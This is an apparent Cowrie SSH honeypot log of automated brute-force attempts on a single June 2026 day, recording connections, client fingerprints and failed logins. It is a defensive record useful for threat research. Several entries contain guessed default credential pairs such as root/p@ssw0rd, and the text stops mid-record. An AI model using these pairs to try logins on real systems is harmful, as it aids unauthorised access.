{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:59.110592Z","src_ip":"45.156.87.147","session":"87ea21484d48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:10:59.380310Z","src_ip":"45.156.87.147","session":"87ea21484d48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:00.463768Z","src_ip":"45.156.87.147","session":"87ea21484d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53572,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce5db4564a13","protocol":"ssh","message":"New connection: 91.92.42.227:53572 (10.17.0.5:22) [session: ce5db4564a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:00.480356Z"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:00.559571Z","src_ip":"91.92.42.227","session":"f67719445091","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:01.367216Z","src_ip":"91.92.42.227","session":"ce5db4564a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:01.370580Z","src_ip":"91.92.42.227","session":"ce5db4564a13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60872,"dst_ip":"10.17.0.5","dst_port":22,"session":"f235e5d632fd","protocol":"ssh","message":"New connection: 45.156.87.147:60872 (10.17.0.5:22) [session: f235e5d632fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:05.284416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:05.292454Z","src_ip":"45.156.87.147","session":"f235e5d632fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:05.374870Z","src_ip":"45.156.87.147","session":"f235e5d632fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:05.624037Z","src_ip":"45.156.87.147","session":"f235e5d632fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:06.413852Z","src_ip":"91.92.42.227","session":"ce5db4564a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:06.817122Z","src_ip":"45.156.87.147","session":"f235e5d632fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51166,"dst_ip":"10.17.0.5","dst_port":22,"session":"89e0712933e7","protocol":"ssh","message":"New connection: 91.92.42.227:51166 (10.17.0.5:22) [session: 89e0712933e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:07.010052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:08.101122Z","src_ip":"91.92.42.227","session":"89e0712933e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:08.104624Z","src_ip":"91.92.42.227","session":"89e0712933e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:08.616884Z","src_ip":"91.92.42.227","session":"ce5db4564a13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40100,"dst_ip":"10.17.0.5","dst_port":22,"session":"10dc8a41bc98","protocol":"ssh","message":"New connection: 45.156.87.147:40100 (10.17.0.5:22) [session: 10dc8a41bc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:11.354646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:11.359399Z","src_ip":"45.156.87.147","session":"10dc8a41bc98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:11.438012Z","src_ip":"45.156.87.147","session":"10dc8a41bc98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:11.783062Z","src_ip":"45.156.87.147","session":"10dc8a41bc98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:12.867769Z","src_ip":"45.156.87.147","session":"10dc8a41bc98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51198,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c691a3adabb","protocol":"ssh","message":"New connection: 91.92.42.227:51198 (10.17.0.5:22) [session: 8c691a3adabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:13.452810Z"}
{"eventid":"cowrie.login.failed","username":"sam","password":"123456789","message":"login attempt [sam/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:13.615069Z","src_ip":"91.92.42.227","session":"89e0712933e7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:14.681407Z","src_ip":"91.92.42.227","session":"8c691a3adabb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:14.685111Z","src_ip":"91.92.42.227","session":"8c691a3adabb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:15.935088Z","src_ip":"91.92.42.227","session":"89e0712933e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":33882,"dst_ip":"159.203.135.109","dst_port":22,"session":"69b06f11b994","protocol":"ssh","message":"New connection: 43.166.242.149:33882 (159.203.135.109:22) [session: 69b06f11b994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:16.597398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:16.605014Z","src_ip":"43.166.242.149","session":"69b06f11b994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:16.614936Z","src_ip":"43.166.242.149","session":"69b06f11b994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ist","password":"ist","message":"login attempt [ist/ist] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:16.688924Z","src_ip":"43.166.242.149","session":"69b06f11b994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40102,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4be3165442d","protocol":"ssh","message":"New connection: 45.156.87.147:40102 (10.17.0.5:22) [session: b4be3165442d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:17.687073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:17.691222Z","src_ip":"45.156.87.147","session":"b4be3165442d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:17.703426Z","src_ip":"43.166.242.149","session":"69b06f11b994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:17.774148Z","src_ip":"45.156.87.147","session":"b4be3165442d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:18.023510Z","src_ip":"45.156.87.147","session":"b4be3165442d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:19.106285Z","src_ip":"45.156.87.147","session":"b4be3165442d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43308,"dst_ip":"10.17.0.5","dst_port":22,"session":"84717a3227c6","protocol":"ssh","message":"New connection: 91.92.42.227:43308 (10.17.0.5:22) [session: 84717a3227c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:19.886847Z"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:20.787010Z","src_ip":"91.92.42.227","session":"8c691a3adabb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:11:21.303425Z","src_ip":"91.92.42.227","session":"84717a3227c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 